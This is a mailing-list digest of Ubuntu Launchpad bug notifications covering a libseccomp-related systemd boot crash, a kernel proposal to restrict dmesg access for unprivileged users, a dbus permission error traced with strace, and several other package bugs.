  As first boot, there will be a "dummy output" in g-c-c.

  After plug-in headset, there will be a headset appear in g-c-c, but it
  won't be automatically selected even it's chosen in the pop-up window.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1882248/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1536751] Re: Font/text rendering is irregular and not pixel-aligned on low DPI screens

[Daniel van Vugt]

We don't support Unity8 now and have no way to verify or test it.

** Changed in: unity8 (Ubuntu)
   Status: Confirmed => Won't Fix

** Changed in: ubuntu-ui-toolkit (Ubuntu)
   Status: Confirmed => Won't Fix

** Changed in: qtdeclarative-opensource-src (Ubuntu)
   Status: New => Won't Fix

** Changed in: qtbase-opensource-src (Ubuntu)
   Status: Incomplete => Won't Fix

** Changed in: harfbuzz (Ubuntu)
   Status: Confirmed => Won't Fix

** Changed in: freetype (Ubuntu)
   Status: Incomplete => Won't Fix

** Changed in: fontconfig (Ubuntu)
   Status: Incomplete => Won't Fix

** Changed in: canonical-devices-system-image
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to qtbase-opensource-src in
Ubuntu.
https://bugs.launchpad.net/bugs/1536751

Title:
  Font/text rendering is irregular and not pixel-aligned on low DPI
  screens

Status in Canonical System Image:
  Won't Fix
Status in fontconfig package in Ubuntu:
  Won't Fix
Status in freetype package in Ubuntu:
  Won't Fix
Status in harfbuzz package in Ubuntu:
  Won't Fix
Status in qtbase-opensource-src package in Ubuntu:
  Won't Fix
Status in qtdeclarative-opensource-src package in Ubuntu:
  Won't Fix
Status in ubuntu-ui-toolkit package in Ubuntu:
  Won't Fix
Status in unity8 package in Ubuntu:
  Won't Fix

Bug description:
  This is a Dell Vostro 3550 laptop with a fresh install of 16.04 and
  unity8 Mir session

  the version of qtdeclarative5-qtmir-plugin is
  0.4.7+16.04.20160104-0ubuntu1

  As you can see from the screenshots the text has low details and, in
  the case of indicators descriptions at the top, almost disappears.

  The text could be fixed by using Text.NativeRendering instead of 
Text.QtRendering for the QML labels on low dpi screens, although text doesn't 
seem to be the only issue here. The icons are definitely lacking detail as well 
(QML Image's smoothing is enabled maybe?).
  Also the dots of the infographic don't look like circles at all, they're 
missing pixels and many of them look like a C more than an O.

  It looks to me like something is setting the wrong resolution, because
  it looks quite bad. But the screenshots are 1366x768 so I think that's
  not the case.

  NOTE: Unity7 looks perfectly fine and detailed

To manage notifications about this bug go to:
https://bugs.launchpad.net/canonical-devices-system-image/+bug/1536751/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1886115] Re: libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

[Alex Murray]

To capture some more details that might help debug this issue, could you
please run

apport-collect 1886115

in a terminal? This should automatically capture various details and
upload them to this bug report.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out)
  the syscall filtering requested by systemd (on my system, only
  /etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be
  modified).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libseccomp/+bug/1886115/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1886115] Re: libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

[Alex Murray]

Thanks for reporting this issue. I am not able to reproduce it myself -
have you customised the syscall filtering in this profile at all?

** Changed in: libseccomp (Ubuntu)
 Assignee: (unassigned) => Alex Murray (alexmurray)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out)
  the syscall filtering requested by systemd (on my system, only
  /etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be
  modified).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libseccomp/+bug/1886115/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1886115] [NEW] libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

[guenthert]

Public bug reported:

  After applying updates to Ubuntu 18.04 my desktop (apple mini with
i5-2415M CPU) failed to complete the boot process.  A few seconds into
the boot, the last message displayed is "/var mounted".  The system then
appears to hang indefinitely.

  Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
--8<--
(gdb) bt
#0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
#1  0x563b957223b7 in ?? ()
#2  
#3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
#4  0x563b9577c22e in ?? ()
#5  0x563b957672d6 in ?? ()
#6  0x563b9576ba22 in ?? ()
#7  0x563b9574f51a in ?? ()
#8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
#9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
#10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
#11 0x563b9572a49d in ?? ()
#12 0x563b9571560c in ?? ()
#13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
init=, fini=, rtld_fini=, 
stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
#14 0x563b957164fa in ?? ()
(gdb) 
-->8--
 and the kernel message buffer lists 
--8<--
traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
-->8--
. 

  To me that looked a bit like Bug 669702 of Gentoo
(https://bugs.gentoo.org/669702) and indeed one of the (few) updates
applied just prior the reboot was the update of libseccomp.

  I was able to circumvent the problem by disabling (commenting out) the
syscall filtering requested by systemd (on my system, only
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be
modified).

** Affects: libseccomp (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out)
  the syscall filtering requested by systemd (on my system, only
  /etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be
  modified).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libseccomp/+bug/1886115/+subscriptions

-- 

[Touch-packages] [Bug 1886112] [NEW] Enabling DMESG_RESTRICT in Groovy Onward

[Matthew Ruffell]

Public bug reported:

[Impact]

This bug implements the enablement of CONFIG_SECURITY_DMESG_RESTRICT
feature by default for Groovy onward, proposed to ubuntu-devel:

https://lists.ubuntu.com/archives/ubuntu-devel/2020-June/041063.html

The kernel log buffer contains a wealth of sensitive information, such
as detailed call traces and kernel addresses found in register dumps in
kernel oops messages.

Exploit developers and attackers can leverage these information leaks to
get past KASLR, and they can use the kernel log buffer to get instant
feedback on their privilege escalation attacks, as failures will be
shown as further oops messages, which attackers can use to fix and tune
their programs until they work.

Currently, if I create a new, unprivileged user on a Focal system, they
cannot access /var/log/kern.log, /var/log/syslog or see system events in
journalctl. But yet, they are given free reign to the kernel log buffer.

$ sudo adduser dave
$ su dave
$ groups
dave
$ cat /var/log/kern.log
cat: /var/log/kern.log: Permission denied
$ cat /var/log/syslog
cat: /var/log/syslog: Permission denied
$ journalctl
Hint: You are currently not seeing messages from other users and the system.
  Users in groups 'adm', 'systemd-journal' can see all messages.
  Pass -q to turn off this notice.
Jun 16 23:44:59 ubuntu systemd[2328]: Reached target Main User Target.
Jun 16 23:44:59 ubuntu systemd[2328]: Startup finished in 69ms.
$ dmesg
[0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
(gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 15:46:55
UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
[0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
...

I propose that we restrict access to dmesg to users in group 'adm' like
so:

1) CONFIG_SECURITY_DMESG_RESTRICT=y in the kernel.
2) Following changes to /bin/dmesg permissions in package 'util-linux'
- Ownership changes to root:adm
- Permissions changed to 0750 (-rwxr-x---)
- Add cap_syslog capability to binary.
3) Add a commented out '# kernel.dmesg_restrict = 0' to
   /etc/sysctl.d/10-kernel-hardening.conf

For most users, they will use the initial admin account, which is in the
'adm' group already, and will see no impact to these changes. If a log
scraper type program needs access to dmesg, the user the daemon runs as
can simply be added to the 'adm' group.

[Testcase]

Currently, all users can run /usr/bin/dmesg to view the kernel log
buffer:

$ dmesg
[0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
(gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 15:46:55
UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
[0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
...

When the changes are applied, the default admin user will be able to
view dmesg (since they are in group 'adm'), while new unprivileged users
will not.

$ whoami
ubuntu
$ groups
ubuntu adm cdrom sudo dip plugdev
$ dmesg
[0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
(gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 15:46:55
UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
[0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
...

$ sudo adduser dave
$ su dave
$ groups
dave
$ dmesg
-bash: /usr/bin/dmesg: Permission denied

[Regression Potential]

Some users or log scraper type programs may need to view the kernel log
buffer, or have access to dmesg. In this case, the underlying service
user would need to be added to the 'adm' group.

Users have the ability to disable DMESG_RESTRICT by uncommenting the
sysctl in /etc/sysctl.d/10-kernel-hardening.conf.

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: Fix Committed

** Affects: procps (Ubuntu)
 Importance: Undecided
 Assignee: Matthew Ruffell (mruffell)
 Status: In Progress

** Affects: util-linux (Ubuntu)
 Importance: Undecided
 Assignee: Matthew Ruffell (mruffell)
 Status: In Progress

** Affects: linux (Ubuntu Groovy)
 Importance: Undecided
 Status: Fix Committed

** Affects: procps (Ubuntu Groovy)
 Importance: Undecided
 Assignee: Matthew Ruffell (mruffell)
 Status: In Progress

** Affects: util-linux (Ubuntu Groovy)
 Importance: Undecided
 Assignee: Matthew Ruffell (mruffell)
 Status: In Progress

** Also affects: linux (Ubuntu Groovy)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Groovy)
   Status: New => Fix Committed

** Also affects: procps (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: procps (Ubuntu Groovy)
   Status: New => In Progress

** Changed in: procps (Ubuntu Groovy)
 Assignee: (unassigned) => Matthew Ruffell (mruffell)

** Also affects: util-linux 

[Touch-packages] [Bug 1886112] Re: Enabling DMESG_RESTRICT in Groovy Onward

[Matthew Ruffell]

Kernel is fix-committed as per:

Mailing list:
https://lists.ubuntu.com/archives/ubuntu-devel/2020-July/041079.html

Commit:
https://kernel.ubuntu.com/git/ubuntu/unstable.git/commit/?id=25e6c851704a47c81e78e1a82530ac4b328098a6

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to procps in Ubuntu.
https://bugs.launchpad.net/bugs/1886112

Title:
  Enabling DMESG_RESTRICT in Groovy Onward

Status in linux package in Ubuntu:
  Fix Committed
Status in procps package in Ubuntu:
  In Progress
Status in util-linux package in Ubuntu:
  In Progress
Status in linux source package in Groovy:
  Fix Committed
Status in procps source package in Groovy:
  In Progress
Status in util-linux source package in Groovy:
  In Progress

Bug description:
  [Impact]

  This bug implements the enablement of CONFIG_SECURITY_DMESG_RESTRICT
  feature by default for Groovy onward, proposed to ubuntu-devel:

  https://lists.ubuntu.com/archives/ubuntu-devel/2020-June/041063.html

  The kernel log buffer contains a wealth of sensitive information, such
  as detailed call traces and kernel addresses found in register dumps
  in kernel oops messages.

  Exploit developers and attackers can leverage these information leaks
  to get past KASLR, and they can use the kernel log buffer to get
  instant feedback on their privilege escalation attacks, as failures
  will be shown as further oops messages, which attackers can use to fix
  and tune their programs until they work.

  Currently, if I create a new, unprivileged user on a Focal system,
  they cannot access /var/log/kern.log, /var/log/syslog or see system
  events in journalctl. But yet, they are given free reign to the kernel
  log buffer.

  $ sudo adduser dave
  $ su dave
  $ groups
  dave
  $ cat /var/log/kern.log
  cat: /var/log/kern.log: Permission denied
  $ cat /var/log/syslog
  cat: /var/log/syslog: Permission denied
  $ journalctl
  Hint: You are currently not seeing messages from other users and the system.
Users in groups 'adm', 'systemd-journal' can see all messages.
Pass -q to turn off this notice.
  Jun 16 23:44:59 ubuntu systemd[2328]: Reached target Main User Target.
  Jun 16 23:44:59 ubuntu systemd[2328]: Startup finished in 69ms.
  $ dmesg
  [0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
  (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 
15:46:55
  UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
  [0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
  root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
  ...

  I propose that we restrict access to dmesg to users in group 'adm'
  like so:

  1) CONFIG_SECURITY_DMESG_RESTRICT=y in the kernel.
  2) Following changes to /bin/dmesg permissions in package 'util-linux'
  - Ownership changes to root:adm
  - Permissions changed to 0750 (-rwxr-x---)
  - Add cap_syslog capability to binary.
  3) Add a commented out '# kernel.dmesg_restrict = 0' to
 /etc/sysctl.d/10-kernel-hardening.conf

  For most users, they will use the initial admin account, which is in
  the 'adm' group already, and will see no impact to these changes. If a
  log scraper type program needs access to dmesg, the user the daemon
  runs as can simply be added to the 'adm' group.

  [Testcase]

  Currently, all users can run /usr/bin/dmesg to view the kernel log
  buffer:

  $ dmesg
  [0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
  (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 
15:46:55
  UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
  [0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
  root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
  ...

  When the changes are applied, the default admin user will be able to
  view dmesg (since they are in group 'adm'), while new unprivileged
  users will not.

  $ whoami
  ubuntu
  $ groups
  ubuntu adm cdrom sudo dip plugdev
  $ dmesg
  [0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
  (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 
15:46:55
  UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
  [0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
  root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
  ...

  $ sudo adduser dave
  $ su dave
  $ groups
  dave
  $ dmesg
  -bash: /usr/bin/dmesg: Permission denied

  [Regression Potential]

  Some users or log scraper type programs may need to view the kernel
  log buffer, or have access to dmesg. In this case, the underlying
  service user would need to be added to the 'adm' group.

  Users have the ability to disable DMESG_RESTRICT by uncommenting the
  sysctl in /etc/sysctl.d/10-kernel-hardening.conf.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1886112/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to  

[Touch-packages] [Bug 1885948] Re: systemd 229 / dbus 1.10.6-1ubuntu3.5 (16.04) and systemd 237 / dbus 1.12.2-1ubuntu1.1 (18.04) error with "Failed to get properties: Access denied" when ran as non-ro

[Ryan Phelps]

Here's an annotated strace output of the dbus process when it fails.  In
another terminal, I ran 'systemctl status ntp' which triggers the dbus
query.  As Zahid mentioned above, this is with the permissions on
/etc/ldap.conf set to 440, so the dbus-daemon user doesn't have
permissions to read it.  But why does dbus-daemon _want_ to read it?
It's also checking /etc/passwd before this.


rphelps@d1lmdbsvrstg2:~$ sudo strace -p 942 -s 256
strace: Process 942 attached
epoll_wait(4, [{EPOLLIN, {u32=3, u64=386346997063352323}}], 64, -1) = 1

# Accept the incoming dbus call from systemctl
accept4(3, {sa_family=AF_LOCAL, NULL}, [2], SOCK_CLOEXEC) = 18

# Set it to a non-blocking socket, add it to the epoll() list, and call epoll() 
again
fcntl(18, F_GETFL)  = 0x2 (flags O_RDWR)
fcntl(18, F_SETFL, O_RDWR|O_NONBLOCK)   = 0
getsockname(18, {sa_family=AF_LOCAL, 
sun_path="/var/run/dbus/system_bus_socket"}, [34]) = 0
epoll_ctl(4, EPOLL_CTL_ADD, 18, {EPOLLET, {u32=18, u64=386346997063352338}}) = 0
epoll_ctl(4, EPOLL_CTL_MOD, 18, {EPOLLIN, {u32=18, u64=14407806993769168914}}) 
= 0
epoll_wait(4, [{EPOLLIN, {u32=18, u64=14407806993769168914}}], 64, 2) = 1

# Read a message from systemctl
recvmsg(18, {msg_name(0)=NULL, msg_iov(1)=[{"\0", 1}], msg_controllen=0, 
msg_flags=0}, 0) = 1

# Get the pid, uid, and gid of the systemctl process, rphelps in this case
getsockopt(18, SOL_SOCKET, SO_PEERCRED, {pid=17258, uid=10247, gid=10004}, 
[12]) = 0

# Try and fail to get the peer socket security state, but that might be SELinux 
only?
getsockopt(18, SOL_SOCKET, SO_PEERSEC, 0x559bc7f68180, 0x7ffc93c3a2bc) = -1 
ENOPROTOOPT (Protocol not available)

# Read the auth request from systemctl
read(18, "AUTH EXTERNAL 3130323437\r\nNEGOTIATE_UNIX_FD\r\nBEGIN\r\n", 2048) = 
52

# Check the /etc/passwd for something
open("/etc/passwd", O_RDONLY|O_CLOEXEC) = 19
lseek(19, 0, SEEK_CUR)  = 0
fstat(19, {st_mode=S_IFREG|0644, st_size=2014, ...}) = 0
mmap(NULL, 2014, PROT_READ, MAP_SHARED, 19, 0) = 0x7f5305a0d000
lseek(19, 2014, SEEK_SET)   = 2014
fstat(19, {st_mode=S_IFREG|0644, st_size=2014, ...}) = 0
munmap(0x7f5305a0d000, 2014)= 0
close(19)   = 0

# No idea
rt_sigaction(SIGPIPE, {SIG_IGN, [], SA_RESTORER, 0x7f530490a390}, {SIG_IGN, [], 
SA_RESTORER, 0x7f530490a390}, 8) = 0

# No idea why they're doing this; maybe to see if the caller is the same 
process?
geteuid()   = 107

# Try, and fail, to open /etc/ldap.conf
open("/etc/ldap.conf", O_RDONLY)= -1 EACCES (Permission denied)
rt_sigaction(SIGPIPE, {SIG_IGN, [], SA_RESTORER, 0x7f530490a390}, NULL, 8) = 0

# Do another epoll() round
epoll_ctl(4, EPOLL_CTL_MOD, 18, {EPOLLET, {u32=18, u64=4294967314}}) = 0
epoll_ctl(4, EPOLL_CTL_MOD, 18, {EPOLLOUT, {u32=18, u64=4294967314}}) = 0
epoll_wait(4, [{EPOLLOUT, {u32=18, u64=4294967314}}], 64, 29995) = 1

# Send the rejection message to systemctl
sendto(18, "REJECTED EXTERNAL DBUS_COOKIE_SHA1 ANONYMOUS\r\nERROR \"Need to 
authenticate first\"\r\n", 82, MSG_NOSIGNAL, NULL, 0) = 82

# Remove the connection to systemctl from the epoll() list, and close the socket
epoll_ctl(4, EPOLL_CTL_DEL, 18, 0x7ffc93c3a2e0) = 0
close(18)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dbus in Ubuntu.
https://bugs.launchpad.net/bugs/1885948

Title:
  systemd 229 / dbus 1.10.6-1ubuntu3.5 (16.04) and systemd 237 / dbus
  1.12.2-1ubuntu1.1 (18.04) error with "Failed to get properties: Access
  denied" when ran as non-root user

Status in dbus package in Ubuntu:
  New

Bug description:
  I've seen this bug reported but almost always it is when being ran as
  root.  This however is only an issue when ran as a non-root user.

  The root user is fine.  I've come across this several times and
  although it's not a major issue, the only solution I've found is to
  reboot the system.

  I see this when running strace, tracing the network.

  We recently installed docker-ce and updated our version of salt from
  2016.8.3 using python 2 to 2019.2.4 using python 3.

  ### 16.04 - systemd 229 on d1lmonitoringdev1 ###

  ## non-root user ##

  $ strace -f -s 16384 -e trace=network systemctl status ntp
  socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
  getsockopt(3, SOL_SOCKET, SO_RCVBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_RCVBUFFORCE, [8388608], 4) = -1 EPERM (Operation 
not permitted)
  setsockopt(3, SOL_SOCKET, SO_RCVBUF, [8388608], 4) = 0
  getsockopt(3, SOL_SOCKET, SO_SNDBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_SNDBUFFORCE, [8388608], 4) = -1 EPERM (Operation 
not permitted)
  setsockopt(3, SOL_SOCKET, SO_SNDBUF, [8388608], 4) = 0
  connect(3, {sa_family=AF_LOCAL, sun_path="/var/run/dbus/system_bus_socket"}, 
33) = 0
  getsockopt(3, SOL_SOCKET, SO_PEERCRED, {pid=1, uid=0, gid=0}, [12]) = 0
  getsockopt(3, SOL_SOCKET, SO_ACCEPTCONN, [0], [4]) 

[Touch-packages] [Bug 1861941] Re: bcache by-uuid links disappear after mounting bcache0

[Ryan Harper]

@ddstreet

I'm not sure where upstream is going just yet.  For Ubuntu; I think

1) Adjusting the bcache-tools patch to use the full path to bcache-
super-show should change;

2) If we fix (1) then I think we can drop the systemd patch from a bug
fixing perspective; on the openSUSE image I did testing on; the skip of
the dev/disk/by-uuid symlink for backing devices does not *break* the
/dev/bcache/by-uuid ; it was missing due to the updated 69-bcache.rules
not working.

3) IMO, blkid should not report FS_UUID for bcache backing/cache devices
since it's not a Filesystem;  we could patch that in blkid directly
instead;  alternatively since older blkid's may or maynot emit FS_UUID
for bcache backing/caching devices the patch to systemd we're caring
will avoid creating a useless dev/disk/by-uuid symlink to those devices.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1861941

Title:
  bcache by-uuid links disappear after mounting bcache0

Status in bcache-tools package in Ubuntu:
  Triaged
Status in linux package in Ubuntu:
  Incomplete
Status in linux-signed package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Fix Released
